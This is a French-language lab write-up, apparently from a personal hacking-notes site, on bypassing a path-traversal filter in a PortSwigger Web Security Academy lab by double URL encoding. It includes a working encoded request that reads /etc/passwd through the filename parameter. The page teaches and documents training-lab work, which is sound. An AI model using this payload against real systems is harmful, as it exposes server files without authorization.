> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/path-traversal/bypass-by-double-url-decoding.md).
# Contournement par double décodage d’URL
Notes sur le contournement par double décodage d’URL pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### Traversée de chemin de fichier, séquences de traversée supprimées par un décodage URL superflu
Ce labo présente une vulnérabilité de traversée de chemin lors de l'affichage des images générées. / L'application bloque les séquences de traversée dans le nom de fichier fourni par l'utilisateur, puis applique un décodage URL supplémentaire avant d'utiliser cette valeur.
L'objectif est de lire le contenu du `/etc/passwd` fichier.
La charge utile standard suivante s'avère ne pas fonctionner :
```bash
../../../../../etc/paswd
```
Pour contourner ce filtre, une technique consiste à **encoder l'URL deux fois** et l'envoyer dans le `nom de fichier` paramètre de la `/image` point de terminaison :
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
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